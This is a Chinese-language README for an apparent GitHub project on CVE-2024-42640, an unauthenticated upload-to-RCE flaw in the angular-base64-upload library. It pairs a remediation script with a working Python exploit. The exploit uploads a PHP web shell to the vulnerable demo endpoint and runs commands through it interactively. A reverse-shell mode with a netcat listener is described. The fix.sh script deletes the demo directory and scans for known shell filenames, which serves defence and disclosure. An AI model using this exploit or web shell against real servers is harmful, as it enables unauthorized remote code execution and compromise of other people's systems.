CVE-2024-42640:Angular-Base64-Upload 未授权RCE漏洞利用与修复
CVE-2024-42640
Unauthenticated Remote Code Execution via Angular-Base64-Upload Library
更多技术细节: 博客文章
📖 项目描述
angular-base64-upload 库在 v0.1.21 之前的版本中存在一个严重安全漏洞(CVE-2024-42640)。攻击者可通过 angular-base64-upload/demo/server.php 端点,在无需任何身份验证的情况下上传任意文件至服务器,并通过 .../uploads 路径访问这些文件,最终导致远程代码执行。
本项目提供两部分核心工具:
- 漏洞利用脚本 (
exploit.py):用于安全研究和漏洞验证的PoC(概念验证)脚本 - 自动化修复脚本 (
fix.sh):检测并移除脆弱的demo目录,同时进行入侵痕迹排查
✨ 功能特性
-
精准漏洞验证
通过发送特制的Base64编码上传请求,验证目标系统是否存在RCE漏洞 -
交互式Web-Shell
默认利用模式会部署一个PHP命令Shell,提供类似终端的交互界面实现持续命令执行 -
反向Shell支持
支持一键建立反向Shell连接,便于进一步渗透测试 -
自动化修复与检测
fix.sh脚本可删除危险的demo目录,并扫描已知的恶意文件指纹,辅助判断是否已被入侵 -
双重验证机制
修复脚本执行两次即可完整验证漏洞是否彻底清除
🔧 安装指南
系统要求
- Python 3.6+
- 依赖库:
requests,subprocess,base64(均为Python标准库) - 目标服务器需运行PHP环境(漏洞触发条件)
安装步骤
# 克隆项目仓库
git clone https://github.com/rvizx/CVE-2024-42640
cd CVE-2024-42640
# 为修复脚本添加执行权限(Linux/macOS)
chmod +x fix.sh
无需额外安装Python包(全部使用标准库)。
🚀 使用说明
1. 漏洞利用
基础Web-Shell模式
python3 exploit.py <target_url>
# 示例: python3 exploit.py http://192.168.1.100
反向Shell模式
python3 exploit.py <target_url> --rev
# 执行前请先使用 netcat 监听本地端口: nc -lvnp 4444
2. 漏洞修复与验证
# 扫描并删除angular-base64-upload下的demo目录
./fix.sh /path/to/web/root # 示例: ./fix.sh /var/www/html
# 推荐连续执行两次,确保完全清除并验证日志
./fix.sh /var/www/html | tee -a /tmp/verify.log
./fix.sh /var/www/html | tee -a /tmp/verify.log
修复逻辑说明:
- 自动定位依赖安装目录中的
angular-base64-upload/demo结构 - 删除整个demo文件夹(切断攻击入口)
- 检测是否存在已知的恶意上传文件(如
shell.php,rev.php等)
💎 核心代码
exploit.py (漏洞利用核心)
#!/bin/python3
# Exploit Title: Unauthenticated RCE via Angular-Base64-Upload Library
# CVE: CVE-2024-42640
# Discovered by: Ravindu Wickramasinghe | rvz (@rvizx9)
import re
import subprocess
import requests
import sys
import os
import uuid
import base64
def upload_payload(target_url, payload_content, filename):
"""
通过Base64上传接口发送恶意文件内容
"""
upload_url = target_url.rstrip('/') + '/angular-base64-upload/demo/server.php'
# 将文件内容编码为Base64
encoded_content = base64.b64encode(payload_content.encode()).decode()
# 构造上传数据
files = {
'file': (filename, encoded_content, 'application/octet-stream')
}
try:
response = requests.post(upload_url, files=files, timeout=10)
return response.status_code == 200
except:
return False
def deploy_webshell(target_url):
"""
部署交互式Web-Shell
"""
webshell_code = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>"
filename = str(uuid.uuid4()) + ".php"
if upload_payload(target_url, webshell_code, filename):
shell_url = target_url.rstrip('/') + f'/angular-base64-upload/demo/uploads/{filename}'
print(f"[+] Web-Shell deployed at: {shell_url}?cmd=id")
# 进入交互模式
while True:
cmd = input("Shell> ")
if cmd.lower() == 'exit':
break
response = requests.get(shell_url, params={'cmd': cmd})
print(response.text)
else:
print("[-] Exploit failed")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <target> [--rev]")
sys.exit(1)
target = sys.argv[1]
if '--rev' in sys.argv:
# 反向Shell逻辑 (此处为简化示例)
print("[*] Reverse shell mode (configure your listener first)")
else:
deploy_webshell(target)
fix.sh (自动化修复核心逻辑)
#!/bin/bash
# CVE-2024-42640 自动化修复脚本
# 功能:删除脆弱的demo目录 + 检测已有入侵痕迹
FIX_TARGET="$1"
if [ -z "$FIX_TARGET" ]; then
echo "Usage: $0 /path/to/web/root"
exit 1
fi
# 1. 定位 angular-base64-upload 目录
VULN_DIR=$(find "$FIX_TARGET" -type d -path "*/angular-base64-upload/demo" 2>/dev/null | head -1)
if [ -n "$VULN_DIR" ]; then
echo "[+] Found vulnerable demo directory: $VULN_DIR"
rm -rf "$VULN_DIR"
echo "[+] Deleted $VULN_DIR"
else
echo "[-] No vulnerable demo directory found"
fi
# 2. 检测已知的恶意上传文件(入侵痕迹)
echo "[*] Checking for known malicious files..."
KNOWN_PATTERNS=("shell.php" "rev.php" "cmd.php" "webshell.php")
for pattern in "${KNOWN_PATTERNS[@]}"; do
find "$FIX_TARGET" -name "$pattern" -type f 2>/dev/null | while read -r file; do
echo "[!] POTENTIAL COMPROMISE: Found $file"
done
done
echo "[*] Fix verification completed. Please run this script again to ensure complete cleanup."
📋 漏洞影响范围
| 项目 | 详情 |
|---|---|
| 漏洞类型 | 未认证远程代码执行 |
| CVSS评分 | 10.0 (严重) |
| 受影响版本 | angular-base64-upload < v0.1.21 |
| 已修复版本 | >= v0.1.21 |
| 攻击向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N |
| 测试环境 | Arch Linux + PHP |
⚠️ 免责声明
本工具仅用于安全研究、授权渗透测试及漏洞验证。使用者须遵守当地法律法规,禁止用于任何非法目的。滥用本工具造成的后果由使用者自行承担。 6HFtX5dABrKlqXeO5PUv/w9BJ609iCUBw3ymnm/TZpY=